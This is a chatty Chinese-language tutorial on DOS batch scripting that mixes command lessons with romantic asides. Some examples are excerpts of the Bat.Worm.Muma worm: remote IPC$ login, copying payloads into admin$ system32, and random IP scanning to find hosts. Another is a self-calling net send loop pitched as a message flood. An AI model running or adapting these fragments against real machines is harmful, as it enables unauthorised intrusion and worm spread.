十分经典的批处理教程

这是一篇技术教程，真心诚意会用很简单的文字表达清楚自己的意思，只要你识字就能看懂，就能学到知识。写这篇教程的目的，是让每一个看过这些文字的朋友记住一句话：如果爱可以让事情变的更简单，那么就让它简单吧！看这篇教程的方法，就是慢！慢慢的，如同品一个女人、一杯茗茶，你会发现很多以前就在眼前的东西突然变的很遥远，而有些很遥远的东西却又突然回到了眼前。.

先概述一下批处理是个什么东东。批处理的定义，至今我也没能给出一个合适的----众多高手们也都没给出----反正我不知道----看了我也不一定信服----我是个菜鸟，当然就更不用说了；但我想总结出一个"比较合适的"，而且我也相信自己可以把它解释的很清楚，让更多的菜鸟都知道这是个什么东东，你用这个东东可以干什么事情。或许你会因为这篇文章而"无条件爱上批处理"，那么我的目的就达到了----我就是要让你爱上它，我就这么拽，你能怎么着？？真的，爱有时候就这么拽，就是这么没理由，就是这么不要脸！真的！

按照我的理解，批处理的本质，是一堆 DOS 命令按一定顺序排列而形成的集合。

OK,never claver and get to business（闲话少说言归正传）。批处理，也称为批处理脚本，英文译为 BATCH，批处理文件后缀 BAT 就取的前三个字母。它的构成没有固定格式，只要遵守以下这条就 ok 了：每一行可视为一个命令，每个命令里可以含多条子命令，从第一行开始执行，直到最后一行结束，它运行的平台是 DOS。批处理有一个很鲜明的特点：使用方便、灵活，功能强大，自动化程度高。我不想让自己写的教程枯燥无味，因为牵缠到代码（批处理的内容算是代码吧？）的问题本来就是枯燥的，很少有人能面对满屏幕的代码而静下心来。所以我会用很多简单实用的例子让读这篇教程的朋友去体会批处理的那四射的魅力，感受它那古灵精怪的性格，不知不觉中爱上批处理（晕，怎么又是爱？到底批处理和爱有什么关系？答案：没有！）。再说句"闲话"：要学好批处理，DOS 基础一定要牢！当然脑子灵活也是很重要的一方面。

例一、先给出一个最 easy 的批处理脚本让大家和它混个脸熟，将下面的几行命令保存为 name.bat 然后执行（以后文中只给出代码，保存和执行方式类似）：

```
ping sz.tencent.com > a.txt
ping sz1.tencent.com >> a.txt
ping sz2.tencent.com >> a.txt
ping sz3.tencent.com >> a.txt
ping sz4.tencent.com >> a.txt
ping sz5.tencent.com >> a.txt
ping sz6.tencent.com >> a.txt
```

```
ping sz7.tencent.com >> a.txt
exit
```

是不是都能看的懂？是不是很 easy？但它的作用却是很实用的，执行这个批处理后，可以在你的当前盘建立一个名为 a.txt 的文件，它里面记录的信息可以帮助你迅速找到速度最快的 QQ 服务器，从而远离"从服务器中转"那一痛苦的过程。这里>的意思，是把前面命令得到的东西放到后面所给的地方，>>的作用，和>的相同，区别是把结果追加到前一行得出的结果的后面，具体的说是下一行，而前面一行命令得出的结果将保留，这样可以使这个 a.txt 文件越来越大（想到如何搞破坏了？？）。By the way，这个批处理还可以和其他命令结合，搞成完全自动化判断服务器速度的东东，执行后直接显示速度最快的服务器 IP，是不是很爽？后面还将详细介绍。

例二、再给出一个已经过时的例子（a.bat）：

```
@echo off
if exist C:\Progra~1\Tencent\AD\*.gif del C:\Progra~1\T
encent\AD\*.gif
```

为什么说这是个过时的例子呢？很简单，因为现在已经几乎没有人用带广告的 QQ 了（KAO，我的 QQ 还显示好友三围呢！！），所以它几乎用不上了。但曾经它的作用是不可小窥的：删除 QQ 的广告，让对话框干干净净。这里用的地址是 QQ 的默认安装地址，默认批处理文件名为 a.bat，你当然可以根据情况自行修改。在这个脚本中使用了 if 命令，使得它可以达到适时判断和删除广告图片的效果，你只需要不关闭命令执行后的 DOS 窗口，不按 CTRL+C 强行终止命令，它就一直监视是否有广告图片（QQ 也再不断查看自己的广告是否被删除）。当然这个脚本占用你一点点内存，呵呵。

例三，使用批处理脚本查是否中冰河。脚本内容如下：

```
@echo off
netstat -a -n > a.txt
type a.txt | find "7626" && echo "Congratulations! You
have infected GLACIER!"
del a.txt
pause & exit
```

这里利用了 netstat 命令，检查所有的网络端口状态，只需要你清楚常见木马所使用的端口，就能很 easy 的判断出来是否被人种了冰河。然这不是确定的，因为冰河默认的端口 7626，完全可以被人修改。这里介绍的只是方法和思路。这里介绍的是方法和思路稍做改动，就变成可以检查其他木马的脚本了，再改动一下，加进去参数和端口及信息列表文件后，就变成自动检测所有木马的脚本了。呵呵，是不是很过瘾？脚本中还利用了组合命令&&和管道命令|，后面将详细介绍。

例四，借批处理自动清除系统垃圾，脚本如下：

```
@echo off
```

```
if exist c:\windows\temp\*.* del c:\windows\temp\*.*
if exist c:\windows\Tempor~1\*.* del c:\windows\Tempor~
1\*.*
if exist c:\windows\History\*.* del c:\windows\History\
*.*
if exist c:\windows\recent\*.* del c:\windows\recent\*.
*
```

将以上脚本内容保存到 autoexec.bat 里，每次开机时就把系统垃圾给自动删除了。这里需要注意两点：一、DOS 不支持长文件名，所以就出现了 Tempor~1 这个东东；二、可根据自己的实际情况进行改动，使其符合自己的要求。怎么样，看到这里，你对批处理脚本是不是已经有点兴趣了？是不是发现自己已经慢慢爱上了这个东东？别高兴的太早，爱不是一件简单的事，它也许能带给你快乐和幸福，当然也能让你痛苦的想去跳楼。如果你知道很难还敢继续的话，I 服了 YOU! 继续努力吧，也许到最后你不一定得到真爱（真的有这可能，爱过的人都知道），但你可以体会到整个爱的过程，就是如此。 酸、苦和辣，有没有甜天知道。为什么会把批处理和爱情扯上关系？不是我无聊，也不是因为这样写有趣多少，原因有二：其一，批处理和爱情有很多相同的地方，有些地方我用"专业"的行话解释不清（我不怀疑自己的表达能力，而是事情本身就不好说清楚），说了=没说，但用地球人都知道的爱情一比喻（爱情是什么？我**怎么知道！！），没准你心里一下就亮堂了，事半功倍，何乐而不为？其二，我这段时间状态不是很好，感冒发烧头疼鼻塞，但主要还是感情上精神摧残，搞的人烦透了，借写教程之际感慨几句，大家就全当买狗皮膏药了，完全可以省略不看（也许还真有点效果----不至于让你看着看着就睡着了，把头磕了来找我报销医药费）。说不定下次的教程中大家还会看到杨过、张无忌等金老前辈笔下的英雄们。

看过第一章的朋友，一定对批处理有了初步的印象，知道它到底是用来干什么的了。但你知道运用批处理的精髓在哪里吗？其实很简单：思路要灵活！没有做不到的，只有想不到的。这和爱情就有点不同了，因为爱情的世界是两个人的世界，一厢情愿不叫爱情（补充：那叫单恋。废话！）而批处理却是一个人的天堂，你可以为所欲为，没有达不到的境界！

批处理看起来杂乱无章，但它的逻辑性之强，绝对不比其他程序语言（如汇编）低，如果你写的脚本是一堆乱麻，虽然每一行命令都正确，但从头执行到尾后，不一定得到你想要的结果，也许是一屏幕的 Bad command or fail name。这又和爱情有了共同点：按步骤来经营，缺少或增多的步骤都可能导致不想看见的结果。陷入爱河的朋友，相信没有不肯定这句话的。我的爱情批处理，输出的结果不是 Bad command or fail name，屏幕是这么显示的： '你的爱情'不是内部或外部命令，也不是可运行的程序或批处理文件。然后就是光标不停闪动，等待这下一次错误的输入。

从这一章开始，将由浅入深的介绍批处理中常用的命令，很多常见 DOS 命令在批处理脚本中有这广泛的应用，它们是批处理脚本的 BODY 部分，但批处理比 DOS 更灵活多样，更具备自动化。要学好批处理，DOS 一定要有比较扎实的基础。这里只讲述一些比较少用（相对来说）的 DOS 命令，常用命令如 COPY、DIR 等就不做介绍了（这些看似简单的命令实际复杂的很，我怕自己都说不清楚！）。

例五，先看一个实例。这是一个很有意思的脚本，一个小巧实用的好东东，把批处理"自动化"的特点体现的淋漓尽致。先介绍一下这个脚本的来历：大家都知道汇编程序（MASM）的上机过程，先要对源代码进行汇编、连接，然后再执行，而这中间有很多环节需要输入很多东西，麻烦的很（只有经历过的朋友才懂得）。如何使这个过程变的简单呢？在我们搞汇编课程设计时，我"被逼"写了这个脚本，用起来很爽，呵呵。看看脚本内容：

```
@echo off
::close echo
cls
::clean screen
echo This programme is to make the MASM programme autom
ate
::display info
echo Edit by CODERED
::display info
echo Mailto me : qqkiller***@sina.com
::display info
if "%1"=="" goto usage
::if input without paramater goto usage
if "%1"=="/?" goto usage
::if paramater is "/?" goto usage
if "%1"=="help" goto usage
::if paramater is "help" goto usage
pause
::pause to see usage
masm %1.asm
::assemble the .asm code
if errorlevel 1 pause & edit %1.asm
::if error pause to see error msg and edit the code
link %1.obj & %1
::else link the .obj file and execute the .exe file
:usage
::set usage
echo Usage: This BAT file name [asm file name]
echo Default BAT file name is START.BAT
::display usage
```

先不要被这一堆的东西给吓怕了，静下心来仔细的看（回想一下第一章中第一段是怎么写的！！）。已经给出了每一行命令的解释，两个冒号后面的内容为前一行内容解释的 E 文（害怕 E 文的朋友也不用担心，都很 easy，一看就懂了，实在不懂了不会查词典啊，这么懒？），在脚本执行时不显示，也不起任何作用。倒数第 5 行行首有一个冒号，可不是笔误哦！具体作用后面会详细讲到。此脚本中 masm 和 link 是汇编程序和连接程序，必须和 edit 程序以及你要编辑的源代码（当然还有这个脚本，废话！）一起在当前目录中。使用这个批处理脚本，可以最大可能的减少手工输入，整个过程中只需要按几下回车键，即可实现从汇编源代码到可执行 exe 文件的自动化转换，并具备智能判断功能：如果汇编时源代码出现错误（汇编不成功），则自动暂停显示错误信息，并在按任意键后自动进入编辑源代码界面；如果源代码汇编成功，则进行连接，并在连接后自动执行生成的 exe 文件。另外，由于批处理命令的简单性和灵活性，这个脚本还具备良好的可改进性，简单进行修改就可以符合不同朋友的上机习惯。正在学汇编的朋友，一定别忘了实习一下！

在这个脚本中出现了如下几个命令：@、echo、::、pause、:和 goto、%以及 if。而这一章就将讲述这几个命令。

1、@

这个符号大家都不陌生，email 的必备符号，它怎么会跑到批处理中呢？呵呵，不是它的错，批处理本来就离不开它，要不就不完美了。它的作用是让执行窗口中不显示它后面这一行的命令本身（多么绕口的一句话！）。呵呵，通俗一点说，行首有了它的话，这一行的命令就不显示了。在例五中，首行的@echo off 中，@的作用就是让脚本在执行时不显示后面的 echo off 部分。这下懂了吧？还是不太懂？没关系，看完 echo 命令简介，自然就懂了。

2、echo

中文为"反馈"、"回显"的意思。它其实是一个开关命令，就是说它只有两种状态：打开和关闭。于是就有了 echo on 和 echo off 两个命令了。

直接执行 echo 命令将显示当前 echo 命令状态（off 或 on）执行 echo off 将关闭回显，它后面的所有命令都不显示命令本身，只显示执行后的结果，除非执行 echo on 命令。在例五中，首行的@命令和 echo off 命令联合起来，达到了两个目的：不显示 echo off 命令本身，不显示以后各行中的命令本身。的确是有点乱，但你要是练习一下的话，3 分钟包会，不会的退钱！

echo 命令的另一种用法

一：可以用它来显示信息！如例五中倒数第二行，Default BAT file name is START.BAT 将在脚本执行后的窗口中显示，而 echo 命令本身不显示（为么？？）。

二：可以直接编辑文本文件。例六：

```
echo nbtstat -A 192.168.0.1 > a.bat
echo nbtstat -A 192.168.0.2 >> a.bat
echo nbtstat -A 192.168.0.3 >> a.bat
```

以上脚本内容的编辑方法是，直接是命令行输入，每行一回车。最后就会在当前目录下生成一个 a.bat 的文件，直接执行就会得到结果。

3、::

这个命令的作用很简单，它是注释命令，在批处理脚本中和 rem 命令等效。它后面的内容在执行时不显示，也不起任何作用，因为它只是注释，只是增加了脚本的可读性，和 C 语言中的/*.....*/类似。地球人都能看懂，就不多说了。

4、pause

中文为"暂停"的意思（看看你的 workman 上），我一直认为它是批处理中最简单的一个命令，单纯、实用。它的作用，是让当前程序进程暂停一下，并显示一行信息：请按任意键继续. . .。在例五中这个命令运用了两次，第一次的作用是让使用者看清楚程序信息，第二个是显示错误的汇编代码信息（其实不是它想显示，而是 masm 程序在显示错误信息时被暂它停了，以便让你看清楚你的源代码错在哪里）。

5、:和 goto

为什么要把这两个命令联合起来介绍？因为它们是分不开的，无论少了哪个或多了哪个都会出错。goto 是个跳转命令，:是一个标签。当程序运行到 goto 时，将自动跳转到:定义的部分去执行了（是不是分不开？）。例五中倒数第 5 行行首出现一个:，则程序在运行到 goto 时就自动跳转到:标签定义的部分执行，结果是显示脚本 usage（usage 就是标签名称）。不难看出，goto 命令就是根据这个冒号和标签名称来寻找它该跳转的地方，它们是一一对应的关系。goto 命令也经常和 if 命令结合使用。至于这两个命令具体用法，参照例五。
goto 命令的另一种用法一：提前结束程序。在程序中间使用 goto 命令跳转到某一标签，而这一标签的内容却定义为退出。如：

```
......
goto end
......
:end
```

这里:end 在脚本最后一行！其实这个例子很弱智，后面讲了 if 命令和组合命令你就知道了。

6、%

这个百分号严格来说是算不上命令的，它只是批处理中的参数而已（多个%一起使用的情况除外，以后还将详细介绍），但千万别以为它只是参数就小看了它（看看例五中有多少地方用到它？），少了它批处理的功能就减少了 51%了。看看例七：

```
net use \\%1\ipc$ %3 /u:"%2"
copy 11.BAT \\%1\admin$\system32 /y
copy 13.BAT \\%1\admin$\system32 /y
copy ipc2.BAT \\%1\admin$\system32 /y
copy NWZI.EXE \\%1\admin$\system32 /y
attrib \\%1\admin$\system32  .bat -r -h -s
```

以上代码是 Bat.Worm.Muma 病毒中的一部分，%1 代表的 IP，2%代表的 username，3%代表 password。执行形式为：脚本文件名 参数一 参数二 ……。假设这个脚本被保存为 a.bat，则执行形式如下：a IP username password。这里 IP、username、password 是三个参数，缺一不可（因为程序不能正确运行，并不是因为少了参数语法就不对）这样在脚本执行过程中，脚本就自动用用你的三个参数依次（记住，是依次！也是一一对应的关系。）代换 1%、2%和 3%，这样就达到了灵活运用的目的（试想，如果在脚本中直接把 IP、username 和 password 都定义死，那么脚本的作用也就被固定了，但如果使用%的话，不同的参数可以达到不同的目的，是不是更灵活？）。

关于这个参数的使用，在后续章节中还将介绍。一定要非常熟练才行，这需要很多练习过程，需要下点狠工夫！

这一章就写到这里了。可能有朋友问了：怎么没介绍 if 命令？呵呵，不是我忘了，而是它不容易说清楚，下一章再讲了！这一章讲的这点东西，如果你是初学者，恐怕也够消化的了。记住一句话：DOS 是批处理的 BODY，任何一个 DOS 命令都可以被用在批处理脚本中去完成特定的功能。到这里，你是否已经想到了用自己肚子里的东西去写点带有自动化色彩的东东呢？很简单，就是一个 DOS 命令的集合而已，相信自称为天才的你已经会把计算机等级考试上机试题中的 DOS 部分用批处理来自动化完成了。

烦！就好象一个半老女人到了更年期，什么事都想唠叨几句，什么事都感到不舒服，看谁谁不爽。明知山有虎，偏向虎山行，最后留下一身伤痕无功而返时，才发现自己竟然如此脆弱，如此渺小，如此不堪一击。徘徊在崩溃的边缘，突然回想起了自己最后一次扁人的那一刻，还真有点怀念（其实我很不喜欢扁人，更不喜欢被人扁）。我需要发泄，我用手指拼命的敲打着键盘，在一阵接一阵有节奏的声音中，屏幕上出现了上面的这些文字。可难道这就是发泄的另一种方式吗？中国人还是厉害，早在几千年前孔老夫子就说过"唯女子与小人，难养也"，

真**有先见之明，佩服！

虽然是在发泄，不过大家请放心，以我的脾气，既然决定写这篇教程，就一定会尽力去写好，写完美，绝对不给自己留下遗憾，要不这教程就不是我写的！

曾经有一篇经典的批处理教程出现在你的屏幕上，你没有保存，直到找不到它的链接你才后悔莫及，人世间最大的痛苦莫过于此。如果上天能给你一个再看一次的机会，你会对那篇教程说三个字：我爱你！如果非要给这份爱加上一个期限，你希望是 100 年。因为 100 年后，你恐怕早已经挂了！而现在，你的屏幕上出现了这篇你正在看的批处理教程，虽然不如你曾经看的那篇经典，但如果勉强还过的去。你会爱它吗？时间会有 50 年那么长吗？答案是：试试看吧。

批处理脚本中最重要的几个命令，将在这一章详细介绍，但是很遗憾，有些细节到现在我都没掌握的很好，甚至还有些生分。如同还不太懂得爱一样。但我一直都在努力，即使一直都没有收获。所以可能讲的会比较笼统，但我会告诉你方法，剩下的就是时间问题了，需要自己去磨练。让我们共同努力吧。冰冻三尺非一日之寒，滴水穿石非一日之功。有些事情，比如学批处理，比如爱一个人，都是不能速成的，甚至还会有付出艰辛而收获为甚微的情况。再次重申，看这篇教程的时候，一定要静下心来，除非你已经掌握了这篇教程的所有东西----但那也就不必看了，浪费时间！

7、if

接上一章，接着讲 if 命令。总的来说，if 命令是一个表示判断的命令，根据得出的每一个结果，它都可以对应一个相应的操作。关于它的三种用法，在这里分开讲。

(1)、输入判断。还是用例五里面的那几句吧：

```
if "%1"=="" goto usage
if "%1"=="/?" goto usage
if "%1"=="help" goto usage
```

这里判断输入的参数情况，如果参数为空（无参数），则跳转到 usage；如果参数为/?或 help 时（大家一般看一个命令的帮助，是不是输入的/?或 help 呢，这里这么做只是为了让这个脚本看起来更像一个真正的程序），也跳转到 usage 。这里还可以用否定形式来表示"不等于"，例如：if not "%1"=="" goto usage，则表示如果输入参数不为空就跳转到 usage（实际中这样做就没意义了，这里介绍用法，管不了那么多了，呵呵。）是不是很简单？其实翻译成中文体会一下就 understand 了。

(2)、存在判断。再看例二里这句：

```
if exist C:\Progra~1\Tencent\AD\*.gif del C:\Progra~1\T
```

encent\AD*.gif

如果存在那些 gif 文件，就删除这些文件。当然还有例四，都是一样的道理。注意，这里的条件判断是判断存在的，当然也可以判断不存在的，例如下面这句"如果不存在那些 gif 文件则退出脚本"：if not exist C:\Progra~1\Tencent\AD*.gif exit。只是多一个 not 来表示否定而已。

(3)、结果判断。还是拿例五开刀（没想到自己写的脚本，竟然用处这么大，呵呵）：

```
masm %1.asm
if errorlevel 1 pause & edit %1.asm
link %1.obj
```

先对源代码进行汇编，如果失败则暂停显示错误信息，并在按任意键后自动进入编辑界面；否则用 link 程序连接生成的 obj 文件。这里只介绍一下和 if 命令有关的地方，&命令后面会讲到。这种用法是先判断前一个命令执行后的返回码（也叫错误码，DOS 程序在运行完后都有返回码），如果和定义的错误码符合（这里定义的错误码为 1），则执行相应的操作（这里相应的操作为 pause & edit %1.asm 部分）。

另外，和其他两种用法一样，这种用法也可以表示否定。用否定的形式仍表达上面三句的意思，代码变为：

```
masm %1.asm
if not errorlevel 1 link %1.obj
pause & edit %1.asm
```

看到本质了吧？其实只是把结果判断后所执行的命令互换了一下，"if not errorlevel 1"和"if errorlevel 0"的效果是等效的，都表示上一句 masm 命令执行成功（因为它是错误判断，而且返回码为 0，0 就表示否定，就是说这个错误不存在，就是说 masm 执行成功）。这里是否加 not，错误码到底用 0 还是 1，是值得考虑的两个问题，一旦搭配不成功脚本就肯定出错，所以一定要体会的很深刻才行。如何体会的深刻？练习！自己写一个脚本，然后把有 not 和没有 not 的情况，返回码为 0 或 1 的情况分别写进去执行（怎么，嫌麻烦啊？排列组合算一下才四中情况你就嫌麻烦了？

后面介绍管道命令和组合命令时还有更麻烦的呢！怕了？呵呵。），这样从执行的结果中就能很清楚的看出这两种情况的区别。
这种用 errorlevel 结果判断的用法是 if 命令最难的用法，但也恰恰是最有用的用法，如果你不会用 errorlevel 来判断返回码，则要达到相同的效果，必须用 else 来表示"否则"的操作，是比较麻烦的。以上代码必须变成：

```
masm %1.asm
if exist %1.obj link %1.obj
else pause & edit %1.asm
```

关于 if 命令的这三种用法就 say 到这里，理解很简单，但应用时就不一定用的那么得心应手，主要是熟练程度的问题。可能有的朋友有点惊讶，我怎么没给出类似下面三行的用法介绍，是因为下面三行是 if 命令帮助里对它自身用法的解释，任何人只要一个"if /?"就能看到，我没有必要在这里多费口舌；更重要的原因，是我觉得这样介绍的不清楚，看的人不一定看的懂，所以我采用上面自己对 if 命令的理解来介绍。一定要注意的是，这三种用法的格式各不相同,而且也是不能改变的，但实际上可以互换（以为从本质上讲，这三种用法都是建立在判断的基础上的，哲学教我们学会透过现象看事物本质！）。有兴趣的朋友可以自己研究一下。

```
IF [NOT] ERRORLEVEL number do command
IF [NOT] string1==string2 do command
IF [NOT] EXIST filename do command
```

8、call

学过汇编或 C 的朋友，肯定都知道 call 指令表示什么意思了，在这里它的意思其实也是一样的。在批处理脚本中，call 命令用来从一个批处理脚本中调用另一个批处理脚本。看例八（默认的三个脚本文件名分别为 start.bat、10.bat 和 ipc.bat）：

```
start.bat：
......
CALL 10.BAT 0
......
10.bat：
......
ECHO %IPA%.%1 >HFIND.TMP
......
CALL ipc.bat IPCFind.txt
ipc.bat：
for /f "tokens=1,2,3 delims= " %%i in (%1) do call HACK.bat %%i %%j %%k
```

有没有看出什么不对的地方？没看出来啊？没看出来就对了，其实就没有不对的地方嘛，你怎么看的出来！从上面两个脚本，你可以得到如下信息：

1、脚本调用可以灵活运用，循环运用、重复运用。
2、脚本调用可以使用参数！

关于第一点就不多说了，聪明的你一看就应该会，这里说一下第二点。

在 start.bat 中，10.bat 后面跟了参数 0，在执行时的效果，其实就是把 10.bat 里的参数%1 用 0 代替。在 start.bat 中，ipc.bat 后面跟了参数 ipcfind.txt（一个文件，也可以做参数），执行时的效果，就是用 ipc.bat 中的每一行的三个变量（这里不懂没关系，学过 for 命令后就懂了），对应代换 ipc.bat 中的%%i、%%j 和%%k。这里参数调用是非常灵活的，使用时需要好好体会。在初学期间，可以先学习只调用脚本，至于连脚本的参数一起使用的情况，在后面的学习中自然就会有比较深刻的理解，这是因为当你已经可以灵活运用批处理脚本后，如何使代码写的更精简更完美更高效就自然包括到了考虑的范围，这时候你就会发现在调用脚本时直接加入参数，可以使代码效率加倍。By the way，上面的这几个脚本，都是 Bat.Worm.Muma 病毒的一部分，在后面的教程里，大家将有机会见到这个病毒的真面目。

那是不是说，在同一个目录下至少存在两个批处理脚本文件（只有一个你调用谁？）？呵呵，注意了，这句话错了！！只有一个照样可以调用----调用自身！看例九（默认脚本文件名 a.bat）：

```
net send %1 This is a call example.
call a.bat
```

这两句一结合，效果自然不怎么样，因为只有一台机器来发消息，谁怕谁啊？我给你来个礼尚往来！可如果有 100 台机器同时执行，而且每台机器开 10 和窗口同时向一个目标机器发消息的话，呵呵。这里 call a.bat 的作用就是调用自身，执行完前一句 net send 命令后再调用自身，达到了循环执行的目的。

给出一个很有意思的脚本，有兴趣的朋友可以实验一下。例十（默认脚本文件名为 a.bat）：

```
call a.bat
```

一定要在 DOS 窗口下执行，否则只会看到一个窗口一闪而过，看不到最后结果。等执行完后，当脚本被执行了 1260 次，别忘了想一下到底是为什么！爱情有时候跟这个脚本一样，一旦陷入死循环，最后的结果都是意想不到的。只是爱情，绝对不会等到被毫无理由的循环这么多次，也许在第三次时就出现了 love is aborted 的提示。

9、find

这是一个搜索命令，用来在文件中搜索特定字符串，通常也作为条件判断

的铺垫程序（我怎么突然想起了这四个字？）。这个命令单独使用的情况在批处理中是比较少见的，因为没什么实际意义。还是借例三来说明：

```
@echo off
netstat -a -n > a.txt
type a.txt | find "7626" && echo "Congratulations! You have infected GLACIER!"
del a.txt
pause & exit
```

先用 netstat 命令检查是否有冰河默认的端口 7626 在活动，并把结果保存到 a.txt 中。然后使用 type 命令列出 a.txt 中的内容，再在列出的内容中搜索字符串"7626"，发现有的话则提示中了冰河，否则退出。看，find 命令其实就这么简单，但有一点必须要注意到：如果不使用 type 命令列出 a.txt 中的内容，而是直接使用 find 命令在 a.txt 中找"7626"（find a.txt "7626" && echo "Congratulations! You have infected GLACIER!"），就必须得给出这个 a.txt 的绝对路径（我试过了，find 并没有默认路径就是当前路径的功能，必须手动指定。也许是我错了，欢迎指正）。因为在 find 命令的帮助里有这么一句话：如果没有指定路径，find 将搜索键入的或者由另一个命令产生的文字。这里的"另一个命令"自然就指的 type 命令了。

至于 find 命令的其他几个参数如 v、n、i 等，有兴趣的朋友自己去研究吧，这已经属于 DOS 学习的内容了，这里就不做介绍。关于 find 命令和其他命令的一些更精妙的用法（有些简直令人叫绝），后续的教程中将介绍，希望关注。

10、for、set、shift

为什么把这三个命令放到一起来讲？原因除了我说明外，恐怕谁也想不到！很简单的一句话：其实我也不太懂！是的，对于这两个命令，我是从研究 Bat.Worm.Muma 病毒开始学习的，时间过去了不少，但还是没完全搞明白，我怕讲出来连自己都看不懂，我更怕不小心讲错了成了罪人。所以我给出一个脚本去告诉你，如何让这两个命令给自己留一个初步的印象，其实也就是这两个命令的入门，而并不是说如何领会这两个命令。因为要领会如此精妙的两个命令（特别是 for）谈何容易！也许你会表扬我说我诚实、不懂就不懂；也许你会骂我，让我既然不懂就赶紧滚蛋，不要在这里丢人显眼；也许你还会说一些别的这样那样好听或不好听的话，都随便你了，即使我不同意你说的话，我也会誓死捍卫你说话的权利。看例十一：

```
@echo off
for /? > for.txt
set /? > set.txt
shift /? >shift.txt
```

```
exit
```

执行后在当前路径下就生成 for.txt、set.txt 和 shift.txt 三个文件，里面分别记录了 for 命令、set 命令和 shift 命令的帮助信息。地球人都能看懂，我就不多说了。我在网上曾经找了很长时间这三个命令的教程，但都不理想，基本都是照搬的帮助信息。我想在自己完全掌握了这两个命令后，一定要写一篇用自己的文字总结出来的 for、set 和 shift 教程（关于 shift 命令，后面介绍批处理的参数时还将涉及到），一定会的，这是我的心愿之一！需要注意的一点是，这三个命令的帮助里 ，介绍的都比较死板，虽然也举了一些例子，但这是远远不够的。要掌握这两个命令，最需要的就是耐心！没写错，就是耐心。光是认真看完它们的帮助文字就已经需要足够的耐心了，要进一步练习领会这两个命令，难道不需要更大的耐心？实战练习的机会我会留给你的，关键还是那句话，看你有没有耐心去研究了。看看例十二：

```
START.BAT：
CALL MUMA.BAT
SET IPA=192.168
CALL 10.BAT 0
:NEARAGAIN
netstat -n|find ":" >A.TMP
FOR /F "tokens=7,8,9,10,12 delims=.: " %%I IN (A.TMP) D
O SET NUM1=%%I&& SET NUM2=%%J&& SET NUM3=%%
K&& SET NUM4=%%L&& SET NUM5=%%M&& CALL NEAR.BAT
:START
CALL RANDOM.BAT
IF "%NUM1%"=="255" GOTO NEARAGAIN
IF "%NUM1%"=="192" GOTO NEARAGAIN
IF "%NUM1%"=="127" GOTO NEARAGAIN
IF "%NUM2%"=="255" GOTO NEARAGAIN
IF "%NUM3%"=="255" GOTO NEARAGAIN
IF "%NUM4%"=="255" GOTO NEARAGAIN
SET IPA=%NUM1%.%NUM2%
ECHO START > A.LOG
PING %IPA%.%NUM3%.1>B.TMP
PING %IPA%.%NUM3%.%NUM4%>>B.TMP
FIND /C /I "from" B.TMP
IF ERRORLEVEL 1 GOTO START
CALL 10.BAT %NUM3%
DEL A.LOG
GOTO START
```

这是 Bat.Worm.Muma 病毒的起始脚本，设置了病毒运行的环境变量。是不是看的头都大了？又忘了写在第一章第一段的那句话（静下心来！），你应该能体会到学习这两个命令所需要的耐心了吧。就如同去爱一个人，你得学会宽容，

打不得骂不得，用你宽大的胸怀去包容她的一切，即使你发现爱她的过程如看上面代码的过程一样让你头大，但你还是得爱下去----爱需要理由吗？不需要吗？需要吗？不需要吗.....等到风平浪静后，最直观的收获就是，你的耐心变的前所未有的充足，面对她的复杂和善变，你自己会处变不惊，以自己的方式去从容应付曾经应付不了的场面，即使到最后一身伤痕，也会感慨曾经的举动有多么伟大。

没错，这就是批处理的魅力，这就是爱的魅力。让你受了伤还感谢伤你的人。

不得不再次重申一遍，各种 DOS 命令是批处理的 BODY（我实在找不出一个更合适的词来形容他们之间的关系），学好 DOS 命令是学好批处理的前提。其他 DOS 命令如 copy、dir、del、type、path、break、start 等内部命令，以及 ping、net、cmd、at、sort、attrib、fc、find 等外部命令，在批处理里的应用非常广泛。这篇教程的作用，是教你认识批处理，以及如何利用 DOS 命令组合出来一个完美的批处理脚本，去让它自动完成你想要它做的事情。而灵活自如的编辑一个批处理脚本是建立在熟练掌握 DOS 命令的基础上的，这已经超出了本文的范畴，在此就不赘述了。

不知不觉中第三章已经结束了。耳麦里传来的依然是陈晓东的《比我幸福》，每隔 4 分 32 秒就自动重播。虽然我不并不很喜欢陈晓东，可这并不妨碍我喜欢音乐，喜欢这首描写的如此让人感慨的歌。请你一定要比我幸福/才不枉费我狼狈退出/再痛也不说苦/爱不用抱歉来弥补/至少我能成全你的追逐/请记得你要比我幸福/才值得我对自己残酷/我默默的倒数/最后再把你看清楚/看你眼里的我好馍糊/慢慢被放逐。我如同一个因年老失色而拉不到客的老妓女，绝望的徘徊在曾经辉煌的红灯_区，用一脸的木然瞟一眼来来去去的人群，默默的回忆自己并不光彩的过去，幻想自己将要面对的未来。直到看见那些幸福依偎在一起的情侣们，才突然间发现上帝的公平，和这种公平的残忍。

可以说，批处理脚本中最重要的几个命令我都没有给出如 echo 或 if 那样比较详细的介绍，原因我已经说了，因为我也是个菜，我也不太懂----但我正在学！你呢？今天又去了一趟图书馆，淘金一样发现了一本叫《DOS 批文件》的东东，藏在一个角落里落满了灰，五本摞一起就跟砖头一样厚了。大概翻了一下，里面介绍了很多比较底层和基础的东西，虽然从思路上讲，已经有点 time out 了，很多东西已经基本没有利用的价值(这就是信息时代的更新速度)，但还是很值得看的。于是打算下午淘过来，放假回去了再好好研究一番，连同那几个不熟悉的命令一起搞熟了，再续写这篇教程。我始终坚信，没有最好只有更好。

但是很可惜，等到下午再去的时候，图书馆楼梯口已经立了一个牌子，上面写着 out of service----人家这学期的工作结束了。于是回到宿舍打算继续写第四章，正在这时又得到一个"振奋人心"的消息：期末考试有一科挂了，而且是全班第一----这一门整个班里就挂了我一个。郁闷的情绪刹那间涌上心头，整个世界仿佛都变成黑的了。食堂和小卖部已经陆续关门，学校里的人越来越少，

迎面过来的几个同学也都一身行李，忙碌着准备回家过年，内心的孤寂和失落如同夏日里暴雨前的乌云，迅速而不可抗拒的占领了心里每一个角落。迎着一月的冷风我一个人在天桥上发呆，还能怎么样，连期末考试都应付不了的失败男人。

"课间休息"时间好象长了点，呵呵，上课了！从这一章开始，将详细介绍批处理中常用的几个组合命令和管道命令。这些命令虽然不是必须的，如同爱一个人时不一定非得每天去陪，但如果少了这个过程，事情就会变的复杂而不完美，所以我认为管道命令和组合命令是批处理的调味剂，几乎是少不了的。

下面从管道命令讲起。常用的管道命令有以下这些：|、>、>>

11、|

